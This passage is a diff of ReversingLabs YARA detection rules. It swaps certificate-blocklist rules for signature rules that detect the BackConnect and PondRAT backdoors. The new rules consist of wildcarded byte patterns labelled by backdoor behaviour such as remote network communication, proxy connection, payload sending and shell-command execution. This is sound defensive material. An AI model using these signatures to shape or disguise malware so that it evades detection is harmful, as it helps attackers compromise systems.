?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 8D 94 24 + ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 48 + 89 DF E8 ?? ?? ?? ?? 48 89 EE 48 89 DF E8 ?? ?? ?? ?? 4C 8D AC 24 ?? ?? ?? ?? 4C 89 + E2 48 89 C6 4C 89 EF E8 ?? ?? ?? ?? 48 8B B4 24 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? + 48 89 EF E8 ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 8B BC 24 ?? ?? ?? ?? 48 8B 84 24 + ?? ?? ?? ?? 48 29 F8 48 C1 F8 ?? 48 83 F8 ?? 0F 84 ?? ?? ?? ?? 41 8B 06 85 C0 0F 84 + ?? ?? ?? ?? 48 8D 5C 24 ?? 31 C0 B9 ?? ?? ?? ?? 45 85 FF 48 89 DF F3 48 AB 0F 85 ?? + ?? ?? ?? 44 8B 7C 24 ?? 45 85 FF 74 ?? 31 C0 B9 ?? ?? ?? ?? 48 89 DF F3 48 AB 8B 54 + 24 ?? 48 8D 35 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 89 EF + E8 ?? ?? ?? ?? 48 8B BC 24 ?? ?? ?? ?? 48 85 FF 74 ?? E8 ?? ?? ?? ?? 48 8B 7C 24 ?? + E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D 41 5C 41 5D 41 5E 41 5F C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Milsean Software Limited" and ( pe.signatures [ i ] . serial == "00:fe:41:94:14:64:b9:99:2a:69:b7:31:74:18:ae:8e:b7" or pe.signatures [ i ] . serial == "fe:41:94:14:64:b9:99:2a:69:b7:31:74:18:ae:8e:b7" ) and 1599523200 <= pe.signatures [ i ] . not_after ) + uint32( 0 ) == 0x464C457F and ( $load_embedded_library ) and ( all of ( $decrypt_embedded_library_* ) ) and ( all of ( $remove_backdoor_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_0C14B611A44A1Bae0E8C7581651845B6 : INFO FILE +rule REVERSINGLABS_Win64_Backdoor_Backconnect : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects BackConnect backdoor." author = "ReversingLabs" - id = "116beeac-49c6-56b0-a1c0-855623f604d9" - date = "2020-08-05" - modified = "2023-11-08" + id = "2c65c7ea-8546-5423-a1e7-dc7c12663099" + date = "2025-04-11" + modified = "2025-04-11" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5464-L5480" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Win64.Backdoor.BackConnect.yara#L1-L154" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7f6028181e33e4ba8264ee367169e7259e19ff49dcae9a337a4ba78c06b459e6" + logic_hash = "7089d5f2dab21755e83ca81ea6cf0f8a55fa261fa2c556759812b16a3d78608a" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "BackConnect" + tc_detection_factor = 5 importance = 25 + strings: + $network_communication_p1 = { + 48 89 5C 24 ?? 4C 89 44 24 ?? 48 89 4C 24 ?? 55 56 57 41 54 41 55 41 56 41 57 48 83 + EC ?? 45 33 F6 4C 8B EA 45 8B FE 41 8B EE 41 8B FE 48 8B D9 48 8B 05 ?? ?? ?? ?? 44 + 3B B8 ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 48 8B 88 ?? ?? ?? ?? 44 39 74 39 ?? 0F 84 ?? ?? + ?? ?? 48 8B 4C 39 ?? 41 FF C7 48 83 F9 ?? 0F 84 ?? ?? ?? ?? 49 8B D0 FF 15 ?? ?? ?? + ?? 85 C0 48 8B 05 ?? ?? ?? ?? 48 8B 88 ?? ?? ?? ?? 74 ?? 44 89 74 24 ?? 48 8D 84 24 + ?? ?? ?? ?? 44 89 B4 24 ?? ?? ?? ?? 4C 8D 4C 24 ?? 48 8B 4C 39 ?? BA ?? ?? ?? ?? 41 + B8 ?? ?? ?? ?? 48 89 44 24 ?? FF 15 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 41 B0 ?? 48 8B + 81 ?? ?? ?? ?? 44 88 74 07 ?? 8B C5 48 6B D0 ?? 48 03 91 ?? ?? ?? ?? E8 ?? ?? ?? ?? + E9 ?? ?? ?? ?? 48 8B 4C 39 ?? 49 8B D5 FF 15 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 85 C0 + 74 ?? 4C 8B 81 ?? ?? ?? ?? 42 80 7C 07 ?? ?? 75 ?? 8B C5 48 6B D0 ?? 49 03 D0 E8 ?? + ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 8B 89 ?? ?? ?? ?? 49 8B D5 48 8B 4C 39 ?? FF 15 ?? + ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 8B D3 44 8B E0 48 8B 89 ?? ?? ?? ?? 48 8B 4C 39 ?? + FF 15 ?? ?? ?? ?? 48 8B 35 ?? ?? ?? ?? 44 8B F0 48 8B 9E ?? ?? ?? ?? 48 03 DF 83 7B + ?? ?? 0F 84 ?? ?? ?? ?? 33 C9 E8 ?? ?? ?? ?? 80 7B ?? ?? 75 ?? 48 2B 43 ?? 48 83 F8 + ?? 7E ?? 48 83 4B ?? ?? 45 33 F6 44 89 73 ?? 41 B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 45 85 + } + $network_communication_p2 = { + F6 74 ?? 48 8B 15 ?? ?? ?? ?? 45 33 C9 48 8B 4B ?? 41 B8 ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? 45 33 F6 85 C0 74 ?? 83 F8 ?? 75 ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 3D ?? + ?? ?? ?? 75 ?? 41 8B C6 EB ?? 85 C0 78 ?? 01 43 ?? BA ?? ?? ?? ?? 4C 8B 0D ?? ?? ?? + ?? 48 8B CE 44 8B 43 ?? 89 44 24 ?? E8 ?? ?? ?? ?? EB ?? 48 8B 4B ?? FF 15 ?? ?? ?? + ?? 48 83 4B ?? ?? E9 ?? ?? ?? ?? 45 33 F6 45 85 E4 0F 84 ?? ?? ?? ?? 44 8B 43 ?? 45 + 85 C0 0F 84 ?? ?? ?? ?? 48 8B 53 ?? 45 33 C9 48 8B 4B ?? FF 15 ?? ?? ?? ?? 83 F8 ?? + 75 ?? FF 15 ?? ?? ?? ?? 48 8B 4B ?? FF 15 ?? ?? ?? ?? 48 83 4B ?? ?? 41 B8 ?? ?? ?? + ?? 48 8B D3 44 89 73 ?? 48 8B CE E8 ?? ?? ?? ?? EB ?? 48 8B 4B ?? 29 43 ?? 44 8B 43 + ?? 01 43 ?? 48 63 D0 48 03 D1 E8 ?? ?? ?? ?? 8A 4B ?? F6 C1 ?? 74 ?? 8B 43 ?? C1 E8 + ?? 39 43 ?? 77 ?? 44 8B 43 ?? 80 E1 ?? 45 33 C9 88 4B ?? 48 8B CE 44 89 74 24 ?? 41 + 8D 51 ?? E8 ?? ?? ?? ?? F6 43 ?? ?? 74 ?? 44 39 73 ?? 75 ?? 45 33 C0 48 8B D3 48 8B + CE E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 4C 8B 84 24 ?? ?? ?? ?? FF C5 48 83 C7 ?? + 81 FD ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 33 C0 48 8B 9C 24 ?? ?? ?? ?? 48 83 C4 ?? 41 5F + 41 5E 41 5D 41 5C 5F 5E 5D C3 + } + $get_system_information = { + 48 89 5C 24 ?? 48 89 74 24 ?? 48 89 7C 24 ?? 55 41 54 41 55 41 56 41 57 48 8B EC 48 + 81 EC ?? ?? ?? ?? 48 8B F9 48 8D 4D ?? FF 15 ?? ?? ?? ?? 4C 8B 75 ?? 48 81 FF ?? ?? + ?? ?? 76 ?? 48 8D 87 ?? ?? ?? ?? 4C 3B F0 4C 0F 42 F0 48 8B 1D ?? ?? ?? ?? 4C 8D A7 + ?? ?? ?? ?? 4C 39 65 ?? 4C 0F 46 65 ?? 49 81 EC ?? ?? ?? ?? 33 F6 48 85 DB 74 ?? 49 + 3B DE 72 ?? 49 3B DC 73 ?? 48 39 73 ?? 0F 85 ?? ?? ?? ?? 48 8B 1B EB ?? 4C 8B FF 49 + 3B FE 72 ?? 44 8B 6D ?? 33 D2 49 8B C7 49 F7 F5 4C 2B FA 4D 2B FD 4D 3B FE 72 ?? 41 + B8 ?? ?? ?? ?? 48 8D 55 ?? 49 8B CF FF 15 ?? ?? ?? ?? 48 85 C0 74 ?? 81 7D ?? ?? ?? + ?? ?? 74 ?? 4C 8B 7D ?? 4D 3B FD 72 ?? EB ?? 4D 85 FF 74 ?? BA ?? ?? ?? ?? 41 B9 ?? + ?? ?? ?? 41 B8 ?? ?? ?? ?? 49 8B CF FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 85 ?? ?? + ?? ?? 4D 3B FE 73 ?? 48 85 DB 0F 85 ?? ?? ?? ?? 49 3B FC 0F 87 ?? ?? ?? ?? 44 8B 7D + ?? 33 D2 48 8B C7 45 8B F7 49 F7 F7 41 8B C7 48 2B C2 48 03 C7 48 8B F8 49 3B C4 0F + 87 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8D 55 ?? 48 8B CF FF 15 ?? ?? ?? ?? 48 85 C0 0F + 84 ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? 74 ?? 33 D2 41 8D 7F ?? 48 03 7D ?? 48 03 7D ?? + 48 8B C7 49 F7 F6 48 2B FA 49 3B FC EB ?? 48 85 FF 74 ?? BA ?? ?? ?? ?? 41 B9 ?? ?? + ?? ?? 41 B8 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 E9 ?? ?? ?? ?? + 48 8D 4B ?? 89 73 ?? BA ?? ?? ?? ?? 48 89 31 48 8B C1 48 89 4B ?? 48 83 C2 ?? 48 83 + C1 ?? 48 8B F0 48 81 FA ?? ?? ?? ?? 76 ?? 48 8B 05 ?? ?? ?? ?? 48 89 03 48 89 1D ?? + ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 48 8B C3 49 8B 5B ?? 49 8B 73 ?? 49 8B 7B ?? 49 8B + E3 41 5F 41 5E 41 5D 41 5C 5D C3 + } + $get_dns_servers_p1 = { + 4C 8B DC 49 89 5B ?? 55 56 57 41 56 41 57 48 83 EC ?? 83 64 24 ?? ?? 49 8D 43 ?? 33 + D2 49 89 43 ?? 49 83 63 ?? ?? 45 33 C9 45 33 C0 8D 7A ?? 8B CF FF 15 ?? ?? ?? ?? 8B + 44 24 ?? 8D 6F ?? 85 C0 0F 84 ?? ?? ?? ?? 8B C8 8B D5 E8 ?? ?? ?? ?? 48 8B D8 48 85 + C0 0F 84 ?? ?? ?? ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 33 D2 48 89 5C + 24 ?? 8B CF FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 0B 8B D5 C1 E1 ?? 03 CD E8 + ?? ?? ?? ?? 48 8B F0 48 85 C0 74 ?? 33 FF 39 3B 76 ?? 8B 4C BB ?? FF 15 ?? ?? ?? ?? + 48 8B D0 48 8B CE FF 15 ?? ?? ?? ?? 8B 03 2B C5 3B F8 73 ?? 48 8D 15 ?? ?? ?? ?? 48 + 8B CE FF 15 ?? ?? ?? ?? 03 FD 3B 3B 72 ?? 45 33 C9 4C 8D 05 ?? ?? ?? ?? 48 8B D6 48 + 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 48 8B D8 E8 ?? ?? ?? ?? 48 8B CB 4C 8B F0 + E8 ?? ?? ?? ?? EB ?? 48 8B CB E8 ?? ?? ?? ?? 45 33 F6 83 64 24 ?? ?? 48 8D 44 24 ?? + 48 89 44 24 ?? 45 33 C9 48 83 64 24 ?? ?? 45 33 C0 33 D2 33 C9 FF 15 ?? ?? ?? ?? 8B + 44 24 ?? 85 C0 74 ?? 8D 48 ?? 48 8B D5 E8 ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 48 8D + } + $get_dns_servers_p2 = { + 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 33 D2 48 89 5C 24 ?? 33 C9 FF 15 ?? ?? ?? + ?? 85 C0 75 ?? 45 33 C9 4C 8D 05 ?? ?? ?? ?? 48 8B D3 48 8D 0D ?? ?? ?? ?? E8 ?? ?? + ?? ?? 48 8B E8 EB ?? 48 8B CB E8 ?? ?? ?? ?? 33 ED 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? + ?? 48 8B D8 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F8 8D 53 ?? 8D + 4F ?? E8 ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 4C 8B C7 48 8D 15 ?? ?? ?? ?? 4D 03 C0 + 48 8B C8 E8 ?? ?? ?? ?? 45 33 C9 4C 8D 05 ?? ?? ?? ?? 48 8B D3 48 8D 0D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 4C 8B F8 48 85 DB 74 ?? 48 8B CB E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 + ED 48 8D 15 ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? ?? 4D 8B C7 48 0F 45 D5 49 8B CE 48 83 64 + 24 ?? ?? 48 8B F0 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8B C8 48 8B F8 E8 ?? ?? ?? ?? 49 + 8B CE 48 8B D8 E8 ?? ?? ?? ?? 48 8B CD E8 ?? ?? ?? ?? 49 8B CF E8 ?? ?? ?? ?? 48 8B + CE E8 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 48 8B C3 48 8B 5C 24 ?? 48 83 C4 ?? 41 5F + 41 5E 5F 5E 5D C3 + } + $get_network_interfaces_p1 = { + 48 8B C4 48 89 58 ?? 48 89 70 ?? 57 41 56 41 57 48 81 EC ?? ?? ?? ?? B9 ?? ?? ?? ?? + 89 48 ?? E8 ?? ?? ?? ?? 48 8B F0 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? + 48 8B C8 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 48 8B CE E8 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 48 8B F0 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? FF 15 ?? + ?? ?? ?? 8B D8 BA ?? ?? ?? ?? 8D 4B ?? E8 ?? ?? ?? ?? 48 8B F8 48 85 C0 74 ?? 4C 8B + C3 48 8D 15 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 8B CE FF + 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 4C 8B F6 48 85 F6 0F 84 ?? ?? ?? ?? 4C 8D 3D + ?? ?? ?? ?? 48 83 64 24 ?? ?? 48 8D 05 ?? ?? ?? ?? 4D 8D 86 ?? ?? ?? ?? 48 89 44 24 + ?? 4D 8B CF 48 8D 15 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 45 8B 8E ?? ?? ?? ?? 48 8B + F8 41 8B C9 83 E9 ?? 74 ?? 83 E9 ?? 74 ?? 83 E9 ?? 74 ?? 83 E9 ?? 74 ?? 83 E9 ?? 74 + ?? 83 E9 ?? 74 ?? 83 E9 ?? 74 ?? 83 F9 ?? 74 ?? 4C 8D 05 ?? ?? ?? ?? BA ?? ?? ?? ?? + 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8D 54 24 ?? EB ?? 48 8D 15 ?? ?? ?? ?? EB ?? 48 8D + 15 ?? ?? ?? ?? EB ?? 48 8D 15 ?? ?? ?? ?? EB ?? 48 8D 15 ?? ?? ?? ?? EB ?? 48 8D 15 + ?? ?? ?? ?? EB ?? 48 8D 15 ?? ?? ?? ?? EB ?? 48 8D 15 ?? ?? ?? ?? EB ?? 48 8D 15 ?? + ?? ?? ?? 45 33 C0 48 8B CF E8 ?? ?? ?? ?? 48 83 64 24 ?? ?? 4D 8D 86 ?? ?? ?? ?? 48 + } + $get_network_interfaces_p2 = { + 8B C8 48 8D 15 ?? ?? ?? ?? 4D 8B CF E8 ?? ?? ?? ?? 48 83 64 24 ?? ?? 4D 8D 86 ?? ?? + ?? ?? 4D 8B CF 48 8D 15 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 83 64 24 ?? ?? 4D 8D + 86 ?? ?? ?? ?? 4D 8B CF 48 8D 15 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 41 83 BE ?? ?? + ?? ?? ?? 48 8B C8 74 ?? 48 83 64 24 ?? ?? 4D 8D 8E ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? + 4C 89 7C 24 ?? 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 45 33 C0 48 8D 15 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 41 83 BE ?? ?? ?? ?? ?? 74 ?? 4D 8D 86 ?? ?? ?? ?? 45 33 C9 48 8D + 15 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 4D 8D 86 ?? ?? ?? ?? 41 80 38 ?? 74 ?? 45 33 + C9 48 8D 15 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 4D 8B 36 48 8D 15 ?? ?? ?? ?? 45 33 + C0 48 8B C8 E8 ?? ?? ?? ?? 48 8B F8 4D 85 F6 0F 85 ?? ?? ?? ?? EB ?? 48 85 F6 74 ?? + 48 8B CE E8 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 48 8B CF 48 8B D8 E8 ?? ?? ?? ?? 48 + 8B C3 EB ?? 33 C0 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B 73 ?? 49 8B E3 41 5F 41 + 5E 5F C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "NEEDCODE SP Z O O" and pe.signatures [ i ] . serial == "0c:14:b6:11:a4:4a:1b:ae:0e:8c:75:81:65:18:45:b6" and 1600300801 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $network_communication_p* ) ) and ( $get_system_information ) and ( all of ( $get_dns_servers_p* ) ) and ( all of ( $get_network_interfaces_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_690910Dc89D7857C3500Fb74Bed2B08D : INFO FILE +rule REVERSINGLABS_Linux_Backdoor_Pondrat : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects PondRAT backdoor." author = "ReversingLabs" - id = "7c427b1a-fbe9-5e97-9810-87863c70988d" - date = "2020-08-05" - modified = "2023-11-08" + id = "4169846b-5333-5dfb-886a-8699ae95fc96" + date = "2025-09-22" + modified = "2025-09-22" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5482-L5498" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Linux.Backdoor.PondRAT.yara#L1-L99" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3c5da6238279296854eb95ecaed802f453e80c6bceb71c3fa587df0f7d40cf96" + logic_hash = "d3a1e7fa39e35574164ebdb1c4d8b63937cb4ee135734056efc24771151c1091" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "PondRAT" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OLIMP STROI, OOO" and pe.signatures [ i ] . serial == "69:09:10:dc:89:d7:85:7c:35:00:fb:74:be:d2:b0:8d" and 1597276800 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_Fd41E6Bd7428D3008C8A05F68C9Ac6F2 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "ef59a76a-3b59-55a2-9da5-c3ba844bbe77" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5500-L5518" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e387664dc9aa746e127b4efb2ef43675f8fb6df66e99d33ef765e8fa306a4f18" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $connect_proxy_p1 = { + 41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? 89 C5 4C 8D A4 + 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C3 C7 00 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? BF ?? ?? + ?? ?? 89 6B ?? 48 89 E5 89 43 ?? E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 C2 BE + ?? ?? ?? ?? 48 89 DF 49 89 C5 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 + DF 31 DB E8 ?? ?? ?? ?? 48 89 D8 48 89 E7 B9 ?? ?? ?? ?? F3 48 AB 8B 15 ?? ?? ?? ?? + BE ?? ?? ?? ?? C7 07 ?? ?? ?? ?? 48 89 E7 E8 ?? ?? ?? ?? 48 89 D8 B9 ?? ?? ?? ?? 4C + 89 E7 F3 48 AB 48 8D B4 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 49 B8 ?? ?? ?? ?? ?? + ?? ?? ?? 4C 89 84 24 ?? ?? ?? ?? 66 C7 84 24 ?? ?? 00 00 ?? ?? 48 89 F7 48 89 A4 24 + ?? ?? ?? ?? B1 ?? F3 48 AB 48 89 D7 B1 ?? F3 48 AB 48 89 E1 8B 19 48 83 C1 ?? 8D 83 + ?? ?? ?? ?? F7 D3 21 D8 25 ?? ?? ?? ?? 74 ?? 89 C3 48 BF ?? ?? ?? ?? ?? ?? ?? ?? 48 + 89 B4 24 ?? ?? ?? ?? C1 EB ?? A9 ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 0F 44 C3 48 8D + } + $connect_proxy_p2 = { + 59 ?? BF ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 66 C7 84 24 ?? ?? 00 00 ?? ?? 48 0F 44 + CB 00 C0 8B 84 24 ?? ?? ?? ?? 48 83 D9 ?? 48 BB ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 84 24 + ?? ?? ?? ?? ?? ?? ?? ?? 48 29 E9 48 89 9C 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? + ?? ?? 89 8C 24 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 89 84 24 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 89 C6 + 4C 89 E7 48 89 C3 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? + E8 ?? ?? ?? ?? 4C 89 EF 89 C5 E8 ?? ?? ?? ?? 85 ED 75 ?? BF ?? ?? ?? ?? B9 ?? ?? ?? + ?? 48 89 DE F3 A6 74 ?? 48 89 DF BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? + 89 E8 5B 5D 41 5C 41 5D C3 0F 1F 00 48 89 DF E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 89 + E8 5B 5D 41 5C 41 5D C3 + } + $send_payload = { + 41 55 B8 ?? ?? ?? ?? 41 54 55 89 F5 53 48 89 FB 48 81 EC ?? ?? ?? ?? 48 85 FF 0F 84 + ?? ?? ?? ?? BF ?? ?? ?? ?? 4C 8D AC 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? + ?? ?? 89 EE 48 89 DF 48 89 C2 31 DB 49 89 C4 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D + 6C 24 ?? E8 ?? ?? ?? ?? 48 8D 7C 24 ?? 48 89 D8 B9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? BE + ?? ?? ?? ?? F3 48 AB C7 07 ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 48 89 D8 B9 ?? ?? ?? + ?? 4C 89 EF F3 48 AB 48 8D B4 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 49 BB ?? ?? ?? + ?? ?? ?? ?? ?? 4C 89 9C 24 ?? ?? ?? ?? 66 C7 84 24 ?? ?? 00 00 ?? ?? 48 89 F7 48 89 + AC 24 ?? ?? ?? ?? B1 ?? F3 48 AB 48 89 D7 B1 ?? F3 48 AB 48 89 E9 8B 19 48 83 C1 ?? + 8D 83 ?? ?? ?? ?? F7 D3 21 D8 25 ?? ?? ?? ?? 74 ?? 89 C3 49 BA ?? ?? ?? ?? ?? ?? ?? + ?? 49 B9 ?? ?? ?? ?? ?? ?? ?? ?? C1 EB ?? A9 ?? ?? ?? ?? BF ?? ?? ?? ?? 0F 44 C3 48 + 8D 59 ?? 4C 89 94 24 ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 4C 89 8C 24 ?? ?? ?? ?? 48 + 0F 44 CB 00 C0 8B 84 24 ?? ?? ?? ?? 48 83 D9 ?? 48 89 94 24 ?? ?? ?? ?? 66 C7 84 24 + ?? ?? 00 00 ?? ?? 48 29 E9 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? + ?? ?? ?? ?? 89 8C 24 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 4C 89 A4 24 ?? ?? ?? ?? 89 + 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 + 89 C6 4C 89 EF 48 89 C3 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? + ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? BF ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 DE F3 A6 74 ?? + 4C 89 E7 E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? + 5B 5D 41 5C 41 5D C3 + } + $execute_shell_command = { + 41 57 48 89 FE 41 56 41 55 41 54 55 53 BB ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 85 FF + 0F 84 ?? ?? ?? ?? BD ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 48 + 89 E9 F3 48 A5 8B 06 48 89 CD B1 ?? 89 07 48 8D BC 24 ?? ?? ?? ?? 48 89 E8 F3 48 AB + 31 FF E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 49 89 C6 48 89 DF 48 89 E8 48 8D 94 24 ?? ?? ?? + ?? BE ?? ?? ?? ?? F3 48 AB 48 83 C2 ?? 48 89 DF E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 + DF E8 ?? ?? ?? ?? 48 85 C0 48 89 44 24 ?? 0F 84 ?? ?? ?? ?? 48 8B 7C 24 ?? 48 8D 9C + 24 ?? ?? ?? ?? 4C 8D 7C 24 ?? 45 31 E4 31 ED E8 ?? ?? ?? ?? 31 D2 89 C7 41 89 C5 BE + ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 80 CC ?? BE ?? ?? ?? ?? 44 89 EF 89 C2 31 C0 E8 ?? + ?? ?? ?? 0F 1F 44 00 ?? 31 C0 48 89 DF B9 ?? ?? ?? ?? F3 48 AB BA ?? ?? ?? ?? 48 89 + DE 44 89 EF E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? 85 C0 74 ?? 44 8D 24 28 41 81 FC ?? ?? ?? + 